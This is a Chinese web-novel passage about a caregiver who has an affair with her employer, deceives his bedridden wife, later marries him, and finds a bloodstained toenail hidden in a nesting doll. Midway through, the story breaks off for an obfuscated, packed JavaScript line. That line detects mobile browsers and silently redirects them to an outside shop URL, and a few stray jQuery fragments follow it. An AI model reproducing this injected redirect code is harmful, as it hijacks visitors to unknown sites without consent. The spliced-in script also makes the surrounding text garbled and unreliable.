晚上睡觉的时候,卢明从后面抱住我,一手珍惜地搭在我的小腹。
我看不见他此时的脸,心想那表情一定是充满眷恋。
“今天去产检了,医生怎么说?”
“……让我好好养胎。”
他不疑有他,打了个哈欠:“下次别那么固执,还是让我陪你一起去吧。”
我微不可察地叹了一口气:“嗯。”
他的呼吸逐渐匀停,我突然道:“卢明。”
“什么?”
“如果我没有这个孩子,你还会娶我吗?”
他在床上翻了个身,想也不想回答:“当然会了。——又胡思乱想什么呢?”
我放柔了声音:“理解一下,孕妇嘛。”
“我和你结婚,当然是为了你。”他斩钉截铁的回答足以让任何女人神魂颠倒,死心塌地。
我把一只手枕在脑袋下,心安了一些,半响鼓起勇气道:“我这个年纪怀上孩子,总觉得有点不踏实……如果我们只有卢越一个孩子,是不是也挺好的……你说呢?”
我的丈夫在我身边已经睡着了。
凌晨三点,我横竖睡不着,从床上翻身而起。
我光着脚走出卧室,没发出一点声音。路过卢越一片漆黑的卧室,略停了停,往楼下走去。
卢越今晚在学校住,不在家。
对于他妈妈去世,我怀孕、嫁给卢明——先后顺序不重要——这发生的一系列事,这个十岁的小孩接受的相当好。
我总是忍不住想起他送给我套娃的那一天,仿佛一个诡秘的表达认可的仪式。他从此真的换了一组新的套娃,仍然与他形影不离。
新套娃是红色的,跟之前那个比,笑容收敛一点,薄薄的嘴唇似笑非笑,有几分讥讽的神情。如果说之前的紫色套娃我只是无感,这个新套娃则实实在在地叫我恐惧。
我后来才知道套娃与他家的渊源——卢越的爷爷,卢明的爸爸当年下岗后,在俄罗斯边境倒买倒卖,其中最受欢迎的商品就是各色套娃。
卢明从小跟在他爸身边耳濡目染,于是尤其喜欢套娃。后来更是子承父业,年轻时很长一段时间是俄罗斯小商品贩子,直到后来重新遇到刘莉,岳家帮女婿在家里的厂子里另外找了份体面的工作才算完。
是的,他和刘莉青梅竹马,但中间刘莉去外省念大学分开了几年。回到家乡的刘莉迅速与他坠入爱河,紧接着步入婚姻。
我头一回知道卢明喜欢套娃,感到有点诧异。这个家里,除了卢越形影不离的那个,几乎没有什么与套娃相关的元素……不对,不止那个,还有一个——那个旧的紫套娃呢?
我发誓我一开始只是想下楼去厨房倒杯水喝,然而脑子里突然出现了紫套娃的念头,驱使着我走进白天清理过的小套间。
打开灯,那个紫套娃正静悄悄地躺在一堆杂物中间,分外灿烂地冲我笑着。
我有点感到内疚,卢越把他的心爱之物送给了我,我却不闻不问……
这样想着,我心不在焉,一层层旋开套娃的外壳。
一、二、三……
第九个小套娃不到我的小手指大,正面露笑容戏谑地看着我,我盯着它看了一会,忍受着一种沉默的催逼。
打开它!
打开它!
我知道那里面的两颗牙齿已经不在了,不妨碍我忍不住摇晃着它,听到其中内容物孤单的回声。我终于将它扭开——
一个轻飘飘的东西掉落出来。
我辨认了一会,忍着不适确认了内容物的身份:一片月牙形的脚趾甲,一侧沾了陈旧的血。
这次我清楚地知道这属于谁的。
——刘莉。
……
吕医生初次拜访的当天晚上就再度被紧急召唤。
卢明捏了一下我的手表示安慰,然后转身去开门,吕医生满脸堆笑,想起来又觉得不应该,于是迅速转换了一个严肃的表情。
“发生什么事了?”
卢明对他耳语几句,两人又进了刘莉的房间。
刘莉与卢明在不久前的争执中烫伤了自己。
我进去送东西的时候,看到卢明半坐在床头,分外爱怜地扶着刘莉的头,轻柔劝慰着。
“乖,都是我不好,不痛不痛了……”
刘莉在哭,不知是不是我的错觉,我进来之后她的哭声变得更大了。
她脸侧有一片发红的烫伤,吕医生正在帮她处理。
“还好,没什么大碍。多注意不要感染,有点耐心,能恢复的。”吕医生手里拿了一管烫伤的药膏,正要转交给我,刘莉又爆发了:“我不要她!呜呜……”
我冲吕聪使了个眼色,他于是手一转,交给了卢明。
“一天三次上药,有问题随时问我。”
“知道了,谢谢。”
吕聪乖觉地恭维几句卢明爱妻之类的话,随后自告奋勇,要帮我一起把刘莉身下沾了菜汤的床单换了。
卢明仍然抱着刘莉,或者是刘莉一味抓着他脱不开身。他拖着刘莉庞大的身体在大床上腾挪,给我们让出位置。
三个人都出了汗,这时听着刘莉独角戏一样的抽噎声,心情更加烦躁了。
吕聪按照小时计费,对走这一趟十分满意,他自称家就在这附近,来卢家非常方便,今后类似的事情也要尽快通知他。好容易换完床单,他又磨蹭了一会才告辞。
于是房间里只剩下我们三个人,气氛显得有些诡异。刘莉哭,卢明哄,我则公事公办,只求不出错,去浴室打了水来,如往常一样,准备给刘莉擦身,朝卢明询问地投去一眼。
他现在的状况,早已没了平时的从容,显得有些狼狈,衬衫皱巴巴的,上面沾满了刘莉的泪痕。刘莉绵软无力的双手死死地扣住他,压着他,不让他离开。
“娃娃,听话,我们给你收拾一下……”
“我说了!我不要她!”
卢明表情忽地变了。
他挣开刘莉的手,刘莉的上半身瞬间失去支撑,倒在一堆枕头上。
“你在耍什么脾气?凭什么给晓燕脸色?她有什么地方对不起你?”
他突然翻脸,连我也跟着一惊。
刘莉恨恨地看着我:“她心术不正,我还没死呢,就敢打你的主意!”
“还要我给你解释多少遍?我们之前什么也没有!”
刘莉哭道:“别把我当傻子,我都闻到了,你们身上一模一样的烟味,仗着我瘫在床上,背地里不知道背着我干什么……”
“我也说了,就是背着你抽烟而已!”卢明一脸痛心,“你为什么就是不信?难道非得是你想的那样,你心里就舒服了?”
“如果就那么简单,为什么非得我问你才承认?”
“这难道是什么光彩的事吗?我答应了你要戒烟,我没能做到,我食言了——就那么简单!”卢明看起来要崩溃了,朝刘莉控诉,“我每天都提心吊胆,害怕你出什么事,辜负了你爸妈临死前对我的嘱托……这些话我谁都不能告诉,你知道我的压力又多大吗?所以在你看不见的时候和晓燕抽了两只烟!对不起!不该不主动向你报备,这一切都是我的错!你满意了吗?”
他一番情感宣泄,让房间里的气氛趋于静止。
刘莉目光闪烁,欲言又止,似乎内心陷入了挣扎。
我则低下头去,明知真相,心情复杂地扮演一个受害者。
卢明一脸失落,露出一个嘲弄的笑容:“这么多年了,你连这点信任也不愿意给我吗?”
“我没有……对不起……”刘莉终于不敌地嗫嚅道。
卢明突然大踏步朝我走来。
“别跟我说对不起,我们对不起的——只有晓燕!你自己想想,晓燕平时对你是不是尽心尽力?她从来到现在,因为操心瘦了多少?结果你背地就那样想她?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782292|145797||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
实话说了,是我求她来照顾你,否则她根本没必要受你这份气!”
“……”
“晓燕。”卢明转头叫我的名字,我如梦方醒,抬起头来,“抱歉让你看了笑话——不过既然你在这里,不妨最后一次跟刘莉说明白,我们之间是什么关系。”
他说了又转过头去看着刘莉,仿佛一个调停人,声音冷静一点:“你听明白了,今后就不要再疑神疑鬼了,怎么样?”
刘莉在我看不见的地方点了点头,她已经完全败下阵了。卢明扶着她重新靠在靠枕上,撑起上半身,好与我对视。刘莉咬着嘴唇,想看着我,目光游移好几次,分明已经动摇。
卢明在她身后,朝我投来一个鼓励的目光。
我产生了一种不真实的感觉,好像昨晚跟我在套间的床上纠缠的不是他一样,我确实是被冤枉的,何其无辜啊……
卢明又是那样信任我,笃定我此刻不会良心发现。
我也没有辜负他的信任,用一种平稳地不容质疑的语调,向刘莉陈述以下的句子。
“小莉,我是照顾你的护工,卢明是我的雇主。我们真的只是碰到一起抽烟——只有几次而已——下次不会了。”
在卢明的殷切目光中,刘莉垂下眼去:“是我错了,对不起……”
“……没关系。”
尽管握手言和,那晚我没有给刘莉擦身。
从刘莉认错开始,卢明重获对于她的一切权力。
没有擦身,像是一种无言的惩戒。而他恩威并施,在刘莉小小声的恳求中,当晚留宿在刘莉的房间,拥着她入睡。
我孤单地回到我的小套间。
我并没有什么特别的想法,对于刚才发生的一切,甚至没有一种评判标准,来衡量我此时的处境。
我想的很开,跟卢明的偷/情只是一种报复,一种冲动,一种艳遇。现在要结束了,我理所应当地认为。
然而当晚,在刘莉熟睡之后,卢明打开主卧与小套间之间的门,溜了进来。
“我锁门了。”他一只手指抵在唇间,压低声音安抚着我。
刘莉疲倦的鼾声隔着门传来,暂停了一会,又悠扬地继续。
偷/情的滋味美妙无比。
“晓燕,我会娶你。”
——那时我便知道,我和这个可怕的男人之间没有结束,而是刚刚开始。
风平浪静过去了一周的时间,这期间我按照卢明的吩咐,没有给刘莉擦身,我想或许是卢明代劳了。
刘莉的颊边烫伤的红印恢复缓慢。我一天三次给她上药,除此之外再没有其他护工的职责。
那次之后,不妨碍刘莉看见我仍然别别扭扭的,有种刻意的客气。
与此同时,她对卢明更加依赖。我撞见的几次,她那甜腻而顺从的语气像是某种刻意的表演——或许就是表演给我看的。不过我从不往心里去,想到每晚在套间里发生的秘密,我想这就是胜利者的心态。
一天清晨,我照例来到刘莉的房间,开窗通风。
不论再怎么注意,房间里仍然有一股病人的浊气。
“今天有点风——会不会吹到你?觉得凉就跟我讲。”
她没理我。
我朝床上看了一眼,只见她脸色苍白,双眼闭着,似乎还没醒。
我走近,她也没有动,呼吸时重时轻。
我碰了碰她,体温高的吓人。
吕医生又来了。
放下听诊器,他面色严峻:“不成了,得送医院去。”
等救护车来的时候,我准备给她换上外出的衣服,掀开被子,下面的景象使我一惊。
刘莉的右脚袜子与睡裤之间露出的一截肌肤呈现不正常的紫绀色,向上蔓延了不知多远,散发出若有若无的恶臭。
我曾经在医院见过许多类似的破溃糖足。
或许那时我就隐隐知道,刘莉的右脚保不住了。